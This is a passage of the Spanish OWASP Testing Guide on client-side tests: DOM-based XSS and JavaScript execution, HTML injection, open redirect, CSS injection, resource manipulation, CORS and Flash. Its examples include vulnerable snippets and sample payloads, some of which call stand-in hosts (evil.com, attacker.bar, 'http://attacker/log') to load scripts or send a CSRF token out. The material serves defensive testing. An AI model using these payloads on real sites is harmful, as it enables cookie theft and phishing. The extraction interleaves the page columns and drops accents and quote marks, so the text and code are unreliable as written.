devuelven cuando se les pregunta por los distintos elementos de una direccin URL atacante. Los ejemplos de estas zonas incluyen lugares donde el cdigo est escrito
que utiliza los atributos del documento. y la ubicacin. Adems, JavaScript se dinmicamente a la pgina y en otros lugares donde el DOM se modifica, o incluso donde
ejecuta a menudo fuera de bloques <script>, segn lo evidenciado por los muchos los scripts se ejecutan directamente. Otros ejemplos son descritos en el excelente artculo
vectores que han llevado a evadir los filtros XSS en el pasado y. por lo tanto, al de DOM XSS por Amit Klein, al que se hace referencia al final de esta seccin.
rastrear la aplicacin, es importante tener en cuenta el uso de scripts en lugares
como controladores de eventos y bloques CSS con atributos de expresin. Tambin
tenga en cuenta que cualquier sitio fuera del CSS u objetos de script tendrn que
evaluarse para determinar qu cdigo est ejecutndose. Una prueba automatizada Referencias
tiene muy poco xito en la identificacin y validacin de XSS basado en DOM,
que generalmente identifica XSS al enviar una carga especfica y observar la Recursos OWASP
respuesta del servidor. Esto puede funcionar bien en el ejemplo simple
proporcionado a continuacin, donde el parmetro de mensaje se refleja de vuelta DOM based XSS Prevention Cheat Sheet
al usuario:
<script>
Libros Blancos
var pos=document.URL.indexOf(message=)+5;
Document Object Model (DOM: en.wikipedia.org
document.write(document.URL.substring(pos,document.URL.length));
</script>
DOM Based Cross Site Scripting or XSS of the Third Kind - Amit
Klein: webappsec.org
pero no puede ser detectada en el siguiente caso artificial:
<script>
Browser location/document URI/URL Sources: code.google.com
var navAgt = navigator.userAgent;
Prueba de la ejecucin de JavaScript (OTG-CLIENT-002)

if (navAgt.indexOf(MSIE)!=-1) {
Resumen
document.write(You are using IE as a browser and visiting site: +

Una vulnerabilidad de inyeccin de JavaScript es un subtipo de Cross Site Scripting (XSS)
document.location.href + .); que implica la capacidad para inyectar cdigo JavaScript arbitrario que ejecuta la
aplicacin dentro del navegador de la vctima.
}
else

296
Esta vulnerabilidad puede tener muchas consecuencias, como la divulgacin de las cookies La pgina contiene los siguientes scripts:
de sesin de un usuario, que podra ser utilizada para suplantar la identidad de la vctima o,
ms generalmente, puede permitir al atacante modificar el contenido de la pgina vista por <script>
la vctima o el comportamiento de la aplicacin.
function loadObj(){
var cc=eval((+aMess+));
Cmo probar
document.getElementById(mess).textContent=cc.message;
Esta vulnerabilidad se produce cuando la aplicacin carece de una validacin adecuada de
entradas y salidas del usuario. JavaScript se utiliza para rellenar dinmicamente las pginas }
web. Esta inyeccin se produce durante esta fase de procesamiento de contenido y, en
consecuencia, afecta a la vctima.
if(window.location.hash.indexOf(message)==-1)
Cuando se trata de explotar este tipo de cuestiones, considere que algunos caracteres var aMess=({\message\:\Hello User!\});
reciben un trato diferente en los diferentes navegadores. Para referencia, vea el Wiki de
DOM XSS. else
var
aMess=location.hash.substr(window.location.hash.indexOf(message=)+8);
El siguiente script no realiza ninguna validacin de la variable rr que contiene la entrada
del usuario a travs de la cadena de consulta y, adems, no se aplica ningn tipo de </script>
codificacin:
El cdigo anterior contiene una fuente 'location.hash' que est controlada por el atacante,
Prueba de Caja Negra quien puede inyectar directamente en el valor de 'mensaje' un cdigo JavaScript para tomar
el control del navegador del usuario.
var rr = location.search.substring(1);
if(rr)
Referencias
window.location=decodeURIComponent(rr);
Recursos OWASP
Esto implica que un atacante podra inyectar cdigo JavaScript simplemente
enviando la siguiente cadena de consulta: DOM based XSS Prevention Cheat Sheet
www.victim.com/?javascript:alert(1)
DOMXSS.com: domxss.com
La prueba de Caja Negra para ejecucin en JavaScript no suele realizarse ya que el acceso
al cdigo fuente siempre est disponible, y necesita ser enviado al cliente para ser Libros Blancos
ejecutado.
Browser location/document URI/URL Sources: codegoogle.com

Prueba de inyeccin HTML (OTG-CLIENT-003)
Prueba de las vulnerabilidades de ejecucin de JavaScript:
Resumen
Por ejemplo, mirando la siguiente URL:
La inyeccin HTML es un tipo de inyeccin que se produce cuando un usuario es capaz
http://www.domxss.com/domxss/01_Basics/04_eval.html de controlar un punto de entrada y puede inyectar cdigo HTML arbitrario en una pgina
web vulnerable. Esta vulnerabilidad puede tener muchas consecuencias, como la
divulgacin de las cookies de sesin de un usuario que podran ser utilizadas para suplantar

297
la identidad de la vctima o, ms comnmente, puede permitir al atacante modificar el aadir una etiqueta de imagen a la pgina que se ejecutar un cdigo JavaScript
contenido de la pgina vista por las vctimas. arbitrario introducido por el usuario malintencionado en el contexto HTML.
Cmo probar Pruebas de Caja Negra
Esta vulnerabilidad se produce cuando el ingreso del usuario no est correctamente Las pruebas de Caja Negra mediante inyeccin HTML normalmente no se realizan,
desinfectado y la salida no est codificada. Una inyeccin permite al atacante enviar una puesto que el acceso al cdigo fuente siempre est disponible y necesita ser
pgina HTML maliciosa a una vctima. El navegador de destino no ser capaz de enviado al cliente para su ejecucin.
distinguir (confiar) entre la parte legtima y la maliciosa y, en consecuencia, analiza y
ejecuta todo como confiable en el contexto de la vctima. Hay una amplia gama de
mtodos y atributos que podran ser utilizados para representar el contenido HTML. Si a
estos mtodos se les provee un ingreso no confiable, entonces hay un riesgo alto de XSS, Pruebas de Caja Gris
especficamente una inyeccin HTML. Se puede inyectar un cdigo HTML malicioso,
por ejemplo, mediante innerHTML, que se utiliza para representar el cdigo HTML Probando las vulnerabilidades de inyeccin HTML:
ingresado por el usuario. Si las cadenas no se desinfectan correctamente, el problema
llevara a una inyeccin HTML basada en XSS. Otro mtodo podra ser document.write() Por ejemplo, mirando el siguiente URL:
http://www.domxss.com/domxss/01_Basics/06_jquery_old_html.html
Cuando se trata de explotar este tipo de problema, considere que algunos caracteres reciben
un trato diferente en los diferentes navegadores. Para referencia ver la Wiki de DOM XSS.
La propiedad innerHTML establece o devuelve el cdigo HTML interno de un elemento. El cdigo HTML contiene el siguente script:
La falta de desinfeccin en ingresos no confiables y la falta de codificacin en los datos de
salida podra permitir a un atacante inyectar cdigo HTML malintencionado. <script src=../js/jquery-1.7.1.js></script>
<script>
Ejemplo de cdigo vulnerable: El siguiente ejemplo muestra un fragmento de cdigo function setMessage(){
vulnerable que permite que una entrada no validada sea utilizada para crear html dinmico
en el contexto de la pgina: var t=location.hash.slice(1);
var userposition=location.href.indexOf(user=); $(div[id=+t+]).text(The DOM is now loaded and can be manipulated.);
var user=location.href.substring(userposition+5); }
document.getElementById(Welcome).innerHTML= Hello, +user; $(document).ready(setMessage );
$(window).bind(hashchange,setMessage)
De la misma manera, en el siguiente ejemplo se muestra un cdigo vulnerable mediante la </script>

funcin document.write():
<body><script src=../js/embed.js></script>
var userposition=location.href.indexOf(user=);
<span><a href=#message > Show Here</a><div id=message>Showing
var user=location.href.substring(userposition+5); Message1</div></span>
document.write(<h1>Hello, + user +</h1>); <span><a href=#message1 > Show Here</a><div id=message1>Showing

Message2</div>
<span><a href=#message2 > Show Here</a><div id=message2>Showing

En ambos ejemplos, un ingreso como el siguiente : Message3</div>
http://vulnerable.site/page.html?user=<img%20src=aaa%20onerror=alert(1) </body>
>

298
Es posible inyectar cdigo HTML. La vctima que visita target.site ser redireccionada automticamente a un
fake-target.site donde un atacante podra colocar una pgina falsa para robar
las credenciales de la vctima.
Referencias
Recursos OWASP Adems, tambin podran utilizarse redireccionamientos abiertos para crear
maliciosamente una URL que evite el control de acceso a la aplicacin y
OWASP DOM based XSS Prevention Cheat Sheet luego enve al atacante hacia funciones privilegiadas a las que normalmente
no debera poder acceder.

Libros Blancos
La prueba de Caja Negra para el redireccionamiento de URL del lado del
Browser location/document URI/URL Sources: cliente no suele realizarse ya que el acceso al cdigo fuente siempre est
disponible, y necesita enviarse al cliente para su ejecucin.
code.google.com
Prueba de Caja Gris

Pruebas de redireccionamiento de la URL del lado del cliente (OTG-
CLIENT-004) Probando las vulnerabilidades de redireccionamiento de URL del lado
del cliente:
Resumen
Cuando los evaluadores deben revisar manualmente esta vulnerabilidad,
Esta seccin describe cmo comprobar el redireccionamiento de URL del lado deben identificar si hay redireccionamientos implementados en el cdigo del
cliente, tambin conocido como redireccin abierta. Es un error de validacin lado del cliente (por ejemplo en el cdigo JavaScript).
de entrada que se da cuando una aplicacin acepta un ingreso controlado por
el usuario, que especifica un enlace que lleva a una URL externa. Este tipo de
vulnerabilidad podra utilizarse para realizar un ataque de phishing o redirigir
a una vctima a una pgina de infeccin. Estas redirecciones podran aplicarse, por ejemplo en JavaScript, utilizando el
objeto de "window.location" que puede usarse para llevar al navegador a otra
pgina asignando una cadena, como se puede ver en el siguiente fragmento de
cdigo.
Cmo probar
var redir = location.hash.substring(1);
Esta vulnerabilidad se produce cuando una aplicacin acepta un ingreso no
confiable que contiene un valor de URL sin desinfectar. Este valor de URL if (redir)
podra causar que la aplicacin web redireccione al usuario a otra pgina
como, por ejemplo, una pgina maliciosa controlada por el atacante. window.location=http://+decodeURIComponent(redir);
Modificando la URL de entrada no confiable para redirigir a un usuario hacia En el ejemplo anterior, la secuencia de comandos no realiza ninguna
un sitio malicioso, un atacante puede lanzar una estafa de phishing con xito y validacin de la variable "redir" que contiene la entrada del usuario a travs de
robar las credenciales del usuario. Ya que la redireccin se origina en la la cadena de consulta y, al mismo tiempo, no se aplica ningn tipo de
aplicacin real, los intentos de phishing pueden tener un aspecto ms codificacin. Esta entrada no validada se pasa a las ventanas. El objeto de
confiable. localizacin origina una vulnerabilidad de redireccin de URL.
Un ejemplo de un ataque de phishing puede ser el siguiente: Esto implica que un atacante podra redirigir a la vctima hacia un sitio
malicioso, simplemente enviando la siguiente cadena de consulta:
http://www.target.site?#redirect=www.fake-target.site
http://www.victim.site/?#www.malicious.site

299
Resumen
Note como si el cdigo vulnerable es el siguiente: Una vulnerabilidad de inyeccin de CSS implica la capacidad de inyectar
cdigo CSS arbitrario en el contexto de un sitio web de confianza que se
var redir = location.hash.substring(1); mostrar en el navegador de la vctima. El impacto de esta vulnerabilidad
puede variar en funcin de la carga CSS suministrada: podra causar un Cross-
if (redir) Site Scripting en circunstancias particulares, al robar datos realizando una
extraccin de los datos confidenciales o modificaciones de la interfaz del
window.location=decodeURIComponent(redir); usuario.
Tambin sera posible inyectar cdigo JavaScript, por ejemplo, al enviar la Cmo probar
siguiente cadena de consulta:
Esta vulnerabilidad se produce cuando la aplicacin permite a un usuario
http://www.victim.site/?#javascript:alert(document.cookie) suministrar CSS generado por el usuario o, si es posible, de alguna manera,
interferir con las hojas de estilo legtimas. Inyectar cdigo en el contexto CSS
da al atacante la posibilidad de ejecutar JavaScript bajo ciertas condiciones,
as como extraer los valores sensibles a travs de selectores CSS y funciones
Cuando trate de comprobar este tipo de problema, considere que algunos capaces de generar las solicitudes HTTP. Dar a los usuarios la posibilidad de
caracteres reciben un trato diferente en los distintos navegadores. Adem,s personalizar sus propias pginas personales mediante el uso de archivos CSS
siempre considere la posibilidad de probar variantes absolutas de direcciones personalizados resulta un riesgo considerable y se debe evitar definitivamente.
URL como se describe aqu: kotowicz.net
El siguiente cdigo JavaScript muestra un posible script vulnerable en el que

Herramientas el atacante puede controlar la "location.hash" (fuente) que alcanza a la funcin
"cssText" (sink). Este caso en particular puede causar un DOMXSS en las
DOMinator: dominator.mindedsecurity.com versiones ms antiguas de los navegadores, como Opera, Internet Explorer y
Firefox. Para referencia, vea la Wiki de DOM XSS, seccin "Estilo de sink".
<a id=a1>Click me</a>

Referencias
<script>
OWASP Resources
if (location.hash.slice(1)) {
OWASP DOM based XSS Prevention Cheat Sheet
document.getElementById(a1).style.cssText = color: +
location.hash.slice(1);
}
</script>
Libros Blancos
Browser location/document URI/URL Sources:

El atacante podra especficamente apuntar a la vctima pidindole que visite
las siguientes direcciones URL:
code.google.com
www.victim.com/#red;-o-link:javascript:alert(1);-o-link-
Krzysztof Kotowicz: Local or Externa? Weird URL formats on
source:current; (Opera [8,12])

the loose: kotowicz.net
www.victim.com/#red;-:expression(alert(URL=1)); (IE 7/8)
Pruebas de inyeccin de CSS (OTG-CLIENT-005)

300
La misma vulnerabilidad puede aparecer en el caso tpico de reflejo XSS en la Probando las vulnerabilidades de inyeccin CSS
que, por ejemplo, el cdigo PHP se ver como el siguiente:
Se deben llevar a cabo pruebas manuales y analizar el cdigo de JavaScript
<style> para entender si el atacante puede inyectar su propio contenido en el
contexto de la CSS. En particular, debemos estar interesados en cmo el
p{ sitio web devuelve las reglas CSS en funcin de las entradas.
color: <?php echo $_GET[color]; ?>;
text-align: center; El siguiente es un ejemplo bsico:
} <a id=a1>Click me</a>
</style> <b>Hi</b>
<script>
Algunos escenarios de ataque mucho ms interesantes incluyen la posibilidad $(a).click(function(){

de extraer los datos mediante la adopcin de reglas CSS puras. Este tipo de
ataques puede realizarse a travs de selectores CSS y direccionando al $(b).attr(style,color: + location.hash.slice(1));
usuario, por ejemplo, si se toma fichas anti-CSRF, como a continuacin. En
particular, input[name=csrf_token][value=â] representa un elemento con el });
atributo "name" ajustado con "csrf_token" y cuyo "value" (valor) de atributo
comienza con "a". Mediante la deteccin de la longitud del atributo "value", </script>
es posible llevar a cabo un ataque de fuerza bruta contra este y enviar el valor
al dominio del atacante.
<style> El cdigo anterior contiene una fuente "location.hash" que es controlada por
el atacante, quien puede inyectarlo directamente en el atributo "style" de un
input[name=csrf_token][value=â] { elemento HTML. Como se mencion anteriormente, esto puede llevar a
resultados diferentes basados en el navegador adoptado y la carga
background-image: url(http://attacker/log?a); suministrada.
</style> Se recomienda que los evaluadores utilicen la funcin de jQuery css(property,

value) en tales circunstancia,s como a continuacin, ya que esto no permitira
ninguna inyeccin daina. En general, recomendamos usar siempre una lista
blanca de caracteres permitidos en cualquier momento que se refleje el
Ataques mucho ms modernos que utilizan una combinacin de SVG, CSS y ingreso en el contexto de la CSS.
HTML5 han demostrado ser ms viables, por lo tanto, le recomendamos
consultar la seccin de referencias para obtener ms informacin. <a id=a1>Click me</a>
<b>Hi</b>
Prueba de Caja Negra <script>
Nos referimos a las pruebas desde el lado del cliente, por lo tanto, las pruebas $(a).click(function(){
de Caja Negra no suelen realizarse ya que el acceso al cdigo fuente siempre
est disponible, y necesita ser enviado al cliente para su ejecucin. Sin $(b).css(color,location.hash.slice(1));
embargo, puede suceder que al usuario se le d un cierto grado de libertad
para poder suministrar cdigo HTML; en ese caso, es necesario comprobar si });
es posible realizar inyecciones de CSS. Etiquetas como "link" y "style" deben
prohibirse. </script>
Prueba de Caja Gris Referencias

301
Recursos OWASP Esta vulnerabilidad se produce cuando la aplicacin emplea un URL

controlado por el usuario para hacer referencia a recursos externos/internos.
OWASP DOM based XSS Prevention Cheat Sheet En estas circunstancias, es posible interferir con el comportamiento esperado
de la aplicacin, en el sentido de hacer que cargue y procese objetos
maliciosos.
DOMXSS Wiki: code.google.com
El siguiente cdigo JavaScript muestra un posible script vulnerable en el que

el atacante es capaz de controlar la "location.hash" (fuente) que alcanza al
Presentaciones atributo "src" de un elemento script. Este ejemplo en particular obviamente
lleva a un XSS, ya que un JavaScript externo podra ser fcilmente inyectado
DOM Xss Identification and Exploitation, Stefano Di Paola: en el sitio web de confianza.
dominator.googlecode.com <script>
var d=document.createElement(script);
Got Your Nose! How To Steal Your Precious Data Without if(location.hash.slice(1))
Using Scripts, Mario Heiderich: youtube.com d.src = location.hash.slice(1);
document.body.appendChild(d);
Bypassing Content-Security-Policy, Alex Kouzemtchenko:

</script>
ruxcon.org
Especficamente el atacante podra apuntar a la vctima pidindole que visite

la siguiente URL:
Prueba de conceptos
www.victim.com/#http://evil.com/js.js
Password cracker via CSS and HTML5: html5sec.org
Donde js.js contiene:

CSS attribute reading: eaea.sirdarckcat.net
alert(document.cookie)
Pruebas de la manipulacin de recursos del lado del cliente (OTG-

CLIENT-006)
Controlar las fuentes de scripts es un ejemplo bsico, puesto que pueden
ocurrir algunos otros casos interesantes y ms sutiles. Un escenario
Resumen
generalizado implica la posibilidad de controlar la direccin URL con una
Una vulnerabilidad de manipulacin de recursos del lado del cliente es un solicitud CORS; puesto que CORS permite que el recurso de destino sea
error de validacin de los ingresos que se producen cuando una aplicacin accesible por el dominio que lo solicita a travs de un acercamiento basado en
acepta las entradas controladas por un usuario que especifica la ruta hacia un encabezados, entonces el atacante puede pedir a la pgina de destino que
recurso (por ejemplo, la fuente de un iframe, js, applet o el controlador de un cargue contenido malicioso en su propio sitio web.
XMLHttpRequest). Especficamente, esta vulnerabilidad consiste en la
capacidad para controlar las direcciones URL que vinculan a algunos recursos
presentes en una pgina web. El impacto puede variar en funcin del tipo de
Refirase al siguiente cdigo vulnerable:
elemento de la URL controlada por el atacante y, generalmente, se adopta para
llevar a cabo ataques fr Cross-Site Scripting.
<b id=p></b>
<script>
Cmo probar
function createCORSRequest(method, url) {

302
var xhr = new XMLHttpRequest();
xhr.open(method, url, true); Pruebas de Caja Gris
xhr.onreadystatechange = function () { Probando las vulnerabilidades para la manipulacin de recursos del

cliente:
if (this.status == 200 && this.readyState == 4) {
Para comprobar manualmente este tipo de vulnerabilidad, tenemos que
document.getElementById(p).innerHTML = this.responseText; identificar si la aplicacin utiliza entradas que no son validadas
correctamente; stas estn bajo el control del usuario, quien podra
} especificar la url de algunos recursos. Puesto que hay muchos recursos
que se podran incluir en la aplicacin (por ejemplo, imgenes, vdeo,
}; objetos, CSS, marcos, etc.), los scripts a nivel del cliente que manejan las
URL asociadas deben ser investigadas para detectar posibles problemas.
return xhr;
}
La siguiente tabla muestra los posibles puntos de inyeccin (sink) que
deberan revisarse:
var xhr = createCORSRequest(GET, location.hash.slice(1));
xhr.send(null);
</script>
La "location.hash" es controlada por el atacante y se utiliza para solicitar un

recurso externo, el cual se refleja a travs de la construccin de "innerHTML".
Bsicamente, el atacante podra pedir a la vctima que visite la siguiente
direccin URL y, al mismo tiempo, l podra disear el controlador de carga
til.
Aproveche la URL: www.victim.com/#http://evil.com/html.html
http://evil.com/html.html Los puntos ms interesantes son los que permiten a un atacante incluir el
cdigo del cliente (por ejemplo Javascript), ya que esto podra dar lugar a
---- vulnerabilidades XSS.
<?php
header(Access-Control-Allow-Origin: http://www.victim.com); Cuando trate de comprobar este tipo de problema, considere que algunos
caracteres son tratados de manera diferente por diferentes navegadores.
?> Por otra parte, siempre tenga en cuenta la posibilidad de probar variantes
absolutas URL, como se describe aqu: http://kotowicz.net/absolute/
<script>alert(document.cookie);</script>
Herramientas
DOMinator: dominator.mindedsecurity.com
Las pruebas de Caja Negra para la manipulacin de recursos del cliente,
por lo general, no se realizan, ya que el acceso al cdigo fuente est
siempre disponible puesto que tiene que ser enviado al cliente para ser
ejecutado. Referencias

303
Recursos de OWASP Basndose en el resultado de la solicitud de OPTIONS, el navegador

decide si se permite o no la solicitud.
OWASP DOM based XSS Prevention Cheat Sheet
Cmo probar
Origin & Access-Control-Allow-Origin
El encabezado Origin siempre se enva por el navegador en una solicitud

DOMXSS TestCase: domxss.com CORS e indica el origen de la solicitud. El encabezado de origen no se
puede cambiar desde JavaScript, aunque confiar en este encabezado para
comprobar los accesos de control no es una buena idea, ya que puede ser
falsificado fuera del navegador, por lo que an se necesita comprobar que
Libros Blancos los protocolos del nivel de la aplicacin se utilizan para proteger datos
sensibles.
DOM XSS Wiki: code.google.com
Access-Control-Allow-Origin es un encabezado de respuesta utilizado por

Krzysztof Kotowicz: Local or Externo? ocal o externo? URL raro en
el servidor para indicar qu dominios tienen permiso para leer la
formatos sueltos ": kotowicz.net
respuesta. En base a la especificacin CORS W3, depende del cliente
determinar y hacer cumplir la restriccin si l tiene acceso a los datos de
respuesta basados en este encabezado.
Pruebas para el intercambio el intercambio de recursos de origen
cruzado (OTG-CLIENT-007)
Desde una perspectiva de pruebas de penetracin, usted debe buscar
Resumen
configuraciones inseguras, tales como, por ejemplo, usar un comodn '*'
La prueba de intercambio de recursos de origen cruzado o CORS es un como el valor del encabezado Access-Control-Allow-Origin que significa
mecanismo que permite a un navegador web realizar peticiones de que todos los dominios estn permitidos. Otro ejemplo de
"cross-domain" que utiliza la API XMLHttpRequest L2 de una manera configuraciones inseguras es cuando el servidor devuelve el encabezado
controlada. En el pasado, la API XMLHttpRequest L1 slo permita que las de origen sin ninguna comprobacin adicional, lo que puede conducir al
solicitudes se enviaran dentro del mismo origen, ya que estaba acceso a datos sensibles. Tenga en cuenta que esta configuracin es muy
restringida por la poltica del mismo origen. insegura y no es aceptable en trminos generales, excepto en el caso de
una API pblica que est destinada a ser accesible para todos.
Las solicitudes de origen cruzado tienen un encabezado de origen que

Mtodo Access-Control-Request & MtodoAccess-Control-Allow
identifica el dominio que inicia la peticin y siempre se enva al servidor.
CORS define el protocolo a utilizar entre un navegador web y un servidor
El encabezado del Access-Control-Request-Method se utiliza cuando un
para determinar si se permite una solicitud de origen cruzado. Con el fin
navegador realiza una solicitud de verificacin previa de OPTIONS y
de lograr este objetivo, hay algunos encabezados HTTP que participan en
permite que el cliente indique el mtodo para la solicitud final. Por otro
este proceso,. que son compatibles con todos los navegadores que se
lado, el Access-Control-Allow-Method es un encabezado de respuesta que
detallan a continuacin e incluyen:: Origen, Acceso-Control-Solicitud-
utiliza el servidor para describir los mtodos que los clientes estn
Mtodo, Acceso-Control-Solicitud-Encabezados, Acceso-Control-Permiso-
autorizados a utilizar.
Origen, Acceso-Control-Permiso-Credenciales, Acceso-Control-Permiso-
Mtodos, Acceso-Control-Permiso-Encabezados.
Encabezados Access-Control-Request-Headers & Access-Control-Allow

Los mandatos de especificacin CORS para las solicitudes no simples,
Estos dos encabezados se utilizan entre el navegador y el servidor para
como por ejemplo las solicitudes que no sean GET o POST o las solicitudes
determinar qu encabezados se pueden utilizar para realizar una
que utilizan credenciales, deben enviar una solicitud previa de OPTIONS
solicitud de origen cruzado.
para comprobar si el tipo de solicitud tendr un impacto negativo en los
datos. La solicitud previa al mandato comprueba los mtodos, los
encabezados permitidos por el servidor y si se permiten las credenciales.
304
Access-Control-Allow-Credentials
Este encabezado, como parte de una solicitud previa al mandato, indica Solicitud (note el encabezado de "Origen" :)
que la solicitud definitiva puede incluir las credenciales de usuario.
GET http://attacker.bar/test.php HTTP/1.1
Host: attacker.bar
Validacin de entradas
La XMLHttpRequest L2 (o XHR L2) introduce la posibilidad de crear una Gecko/20100101 Firefox/24.0
solicitud entre dominios mediante la API XHR para la compatibilidad en
retrospectiva. Esto puede introducir vulnerabilidades de seguridad que Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
en XHR L1 no estaban presentes. Los puntos interesantes del cdigo para
explotar seran las URL que son pasadas a XMLHttpRequest sin Accept-Language: en-US,en;q=0.5
validacin, especialmente si las direcciones absolutas URL son
permitidas, ya que podran conducir a la inyeccin del cdigo. Del mismo Referer: http://example.foo/CORSexample1.html
modo, otras partes de la aplicacin pueden ser explotadas si los datos de
respuesta no se escapan y podemos controlarlos proporcionando los Origin: http://example.foo
datos de entrada dados por el usuario.
Otros encabezados
Respuesta (note el encabezado Access-Control-Allow-Origin:)
Hay otros encabezados involucrados como el de Access-Control-Max-Age
que determina el tiempo en que una solicitud de verificacin previa HTTP/1.1 200 OK
puede almacenar en cach en el navegador, o el de Access-Control-Expose-
Headers que indica qu encabezados son seguros para exponer a la API Date: Mon, 07 Oct 2013 18:57:53 GMT
de una especificacin API CORS. Ambos son encabezados de respuesta
especificados en el documento del CORS W3C. Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Pruebas de Caja Negra Access-Control-Allow-Origin: *
Las pruebas de Caja Negra para encontrar temas relacionados con el Content-Length: 4
intercambio de recursos de origen cruzado, por lo general, no se realizan
debido a que el acceso al cdigo fuente est siempre disponible, ya que Keep-Alive: timeout=15, max=99
tiene que ser enviado al cliente para ser ejecutado.
Connection: Keep-Alive
Content-Type: application/xml
Revise los encabezados HTTP con el fin de entender cmo se utiliza CORS;
en particular, debemos estar muy interesados en el encabezado de origen [Response Body]
para aprender qu dominios se permiten. Adems, la inspeccin manual
del JavaScript es necesaria para determinar si el cdigo es vulnerable a la
inyeccin de cdigo debido a una manipulacin incorrecta de la entrada
Ejemplo 2: Problema de validacin de entrada, XSS con CORS:
proporcionada por el usuario. A continuacin se presentan algunos
ejemplos:
Este cdigo hace una solicitud al recurso enviado despus del carcter #
en la URL, utilizado inicialmente para obtener recursos en el mismo
servidor.
Ejemplo 1: Respuesta insegura con el comodn '*' en Access-Control-
Allow-Origin:
Cdigo vulnerable:

305
<script>
Ahora, ya que no hay una validacin de la URL, se puede inyectar un script

remoto, que se inyecta y se ejecutar en el contexto del example.foo
var req = new XMLHttpRequest(); domain, con una URL como sta:
http://example.foo/main.php#http://attacker.bar/file.php
req.onreadystatechange = function() {
Por ejemplo, una peticin como sta mostrar el contenido del archivo Solicitud y respuesta generada por esta URL:
profile.php:
GET http://attacker.bar/file.php HTTP/1.1
http://example.foo/main.php#profile.php
Host: attacker.bar

Solicitud y respuesta generada por esta URL: Gecko/20100101 Firefox/24.0
GET http://example.foo/profile.php HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Host: example.foo Accept-Language: en-US,en;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Referer: http://example.foo/main.php

Gecko/20100101 Firefox/24.0
Origin: http://example.foo
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://example.foo/main.php
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 19:00:32 GMT
Server: Apache/2.2.22 (Debian)

HTTP/1.1 200 OK
X-Powered-By: PHP/5.4.4-14+deb7u3
Date: Mon, 07 Oct 2013 18:20:48 GMT
Access-Control-Allow-Origin: *
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze17
Content-Length: 92
Content-Length: 25
Injected Content from attacker.bar <img src=# onerror=alert(Domain:
Content-Type: text/html +document.domain)>
[Response Body]

306
particular, dado que las aplicaciones Flash a menudo se incrustan en los

navegadores, las vulnerabilidades como las basadas en DOM para Cross-
Site Scripting (XSS) podran estar presentes en las aplicaciones Flash
defectuosas.
Cmo probar
Desde la primera publicacin de "Probando las aplicaciones Flash" [1], las

nuevas versiones de Flash Player se publicaron con el fin de mitigar
algunos de los ataques que se describirn. Sin embargo, algunas
cuestiones todava son aprovechables, ya que son el resultado de
prcticas inseguras de programacin.
Herramientas
OWASP Zed Attack Proxy (ZAP): owasp.org Descompilacin
Dado que los archivos SWF son interpretados por una mquina virtual
integrada en el propio reproductor, estos pueden ser potencialmente
ZAP es una herramienta de pruebas de penetracin integrada, fcil de usar descompilados y analizados. El descompilador ms conocido y gratuito de
para encontrar vulnerabilidades en aplicaciones web. Est diseada para ser ActionScript 2.0 es flare.
utilizada por personas con amplia experiencia en seguridad y, como tal, es
ideal para desarrolladores y evaluadores funcionales que son nuevos en el uso
de pruebas de penetracin. ZAP ofrece escneres automatizados, as como
un conjunto de herramientas que le permiten encontrar vulnerabilidades Para descompilar un archivo SWF con flare solo escriba:
de seguridad de forma manual.
$ flare hello.swf
Referencias
lo que dar lugar a un nuevo archivo llamado hello.flr.
Recursos OWASP
OWASP HTML5 Security Cheat Sheet: owasp.org

La descompilacin ayuda a los evaluadores, ya que permite realizar
Libros Blancos pruebas de las aplicaciones Flash asistidas por el cdigo fuente o de Caja
Blanca. La herramienta gratuita SWFScan de HP puede descompilar tanto
W3C - CORS W3C Specification: w3.org ActionScript 2.0 como ActionScript 3.0.
Prueba de Cross-site flashing (OTG-CLIENT-008) El Proyecto de Seguridad Flash de OWASP mantiene una lista actualizada de
desensambladores, descompiladores y otras herramientas de prueba
Resumen relacionadas con Adobe Flash.
ActionScript es el lenguaje basado en ECMAScript, usado por las

aplicaciones Flash cuando maneja necesidades interactivas. Hay tres
versiones del lenguaje ActionScript. ActionScript 1.0 y ActionScript 2.0 Las variables indefinidas FlashVars
son muy similares con ActionScript 2.0 que es una extensin de
ActionScript 1.0. ActionScript 3.0, introducido con Flash Player 9, es una FlashVars son las variables que el desarrollador SWF planific recibir
reescritura del lenguaje para apoyar el diseo orientado por objetos. desde la pgina web. Las FlashVars normalmente se pasan desde el objeto
o la etiqueta incorporada dentro de HTML. Por ejemplo:
<object width=550 height=400 classid=clsid:D27CDB6E-AE6D-11cf-

ActionScript, como cualquier otro lenguaje, tiene algunos patrones de 96B8-444553540000
implementacin que podran llevar a problemas de seguridad. En
307
codebase=http://download.macromedia.com/pub/shockwave/cabs/flash/swfla #initclip
sh.cab#version=9,0,124,0>
if (!_global.Locale) {
<param name=movie value=somefilename.swf>
var v1 = function (on_load) {
<param name=FlashVars value=var1=val1&var2=val2>
var v5 = new XML();
<embed src=somefilename.swf width=550 height=400
FlashVars=var1=val1&var2=val2> var v6 = this;
</embed> v5.onLoad = function (success) {
</object> if (success) {
Las FlashVars tambin se pueden inicializar desde la URL: trace(Locale loaded xml);
http://www.example.org/somefilename.swf?var1=val1&var2=val2 var v3 = this.xliff.file.body.$trans_unit;
var v2 = 0;
En ActionScript 3.0, un desarrollador debe asignar explcitamente los while (v2 < v3.length) {
valores FlashVar a las variables locales. Por lo general, esto se ve como:
Locale.strings[v3[v2]._resname] = v3[v2].source.__text;
var paramObj:Object = LoaderInfo(this.root.loaderInfo).parameters;
++v2;
var var1:String = String(paramObj[var1]);
}
var var2:String = String(paramObj[var2]);
on_load();
} else {}
En ActionScript 2.0, cualquier variable global no inicializada se asume
como una variable de Flash. Las variables globales son aquellas variables };
que se anteponen con _root, _global o _level0. Esto significa que si un
atributo como: if (_root.language != undefined) {
_root.varname Locale.DEFAULT_LANG = _root.language;
es indefinido a lo largo del flujo del cdigo, se podra sobrescribir

configurando
v5.load(Locale.DEFAULT_LANG + /player_ +
http://victim/file.swf?varname=value
Locale.DEFAULT_LANG + .xml);
};
Independientemente de si usted est viendo ActionScript 2.0 o
ActionScript 3.0, las variables de Flash pueden ser un vector de ataque.
Veamos una parte del cdigo ActionScript 2.0 que es vulnerable:
